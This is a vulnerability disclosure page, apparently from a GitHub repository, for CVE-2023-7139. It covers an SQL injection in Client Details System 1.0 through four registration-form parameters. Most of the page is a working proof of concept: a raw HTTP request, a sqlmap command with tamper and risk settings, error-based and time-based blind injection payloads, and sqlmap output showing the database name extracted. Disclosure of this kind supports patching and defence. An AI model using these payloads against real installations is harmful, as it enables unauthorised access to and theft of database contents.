Skip to content

Latest commit

 

History

History
141 lines (114 loc) · 4.89 KB

Client_Details_System-SQL_Injection_3.md

File metadata and controls

141 lines (114 loc) · 4.89 KB

CVE-2023-7139_Client_Details_System-SQL_Injection_3

References:

Description:

Client Details System 1.0 allows SQL Injection via parameters 'fname', 'lname', 'email' and 'contact' in "/clientdetails/admin/regester.php". Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latest vulnerabilities in the underlying database.

Proof of Concept:

POST /clientdetails/admin/regester.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 812
Content-Type: multipart/form-data; boundary=3b3b38b05bde466ba84fe94108a576e4
Cookie: PHPSESSID=p5mgq2eci66sik6s94eakcjub9
Referer: http://localhost/clientdetails/admin/regester.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="lname"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="fname"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="email"

test@mail.com
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="contact"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="password"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="signup"

Sign Up
--3b3b38b05bde466ba84fe94108a576e4--

  • Use sqlmap to exploit. In sqlmap, use sequencely 'fname', 'lname', 'email' and 'contact' parameters to dump the database.
python sqlmap.py -r r.txt -p fname --risk 3 --level 5 --threads 1 --random-agent tamper=between,randomcase --proxy="http://127.0.0.1:8080" --dbms mysql --batch --current-db
---
Parameter: MULTIPART fname ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: --3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="lname"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="fname"

test'||(SELECT 0x63477861 WHERE 3950=3950 AND (SELECT 4777 FROM(SELECT COUNT(*),CONCAT(0x717a7a7071,(SELECT (ELT(4777=4777,1))),0x71767a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="email"

test@mail.com
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="contact"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="password"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="signup"

Sign Up
--3b3b38b05bde466ba84fe94108a576e4--

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: --3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="lname"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="fname"

test'||(SELECT 0x495a4858 WHERE 5047=5047 AND (SELECT 3063 FROM (SELECT(SLEEP(5)))fSuo))||'
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="email"

test@mail.com
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="contact"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="password"

test
--3b3b38b05bde466ba84fe94108a576e4
Content-Disposition: form-data; name="signup"

Sign Up
--3b3b38b05bde466ba84fe94108a576e4--
---
[17:19:33] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.1.6, Apache 2.4.53
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[17:19:34] [INFO] fetching current database
[17:19:34] [INFO] retrieved: 'loginsystem'
current database: 'loginsystem'
  • current database: loginsystem 3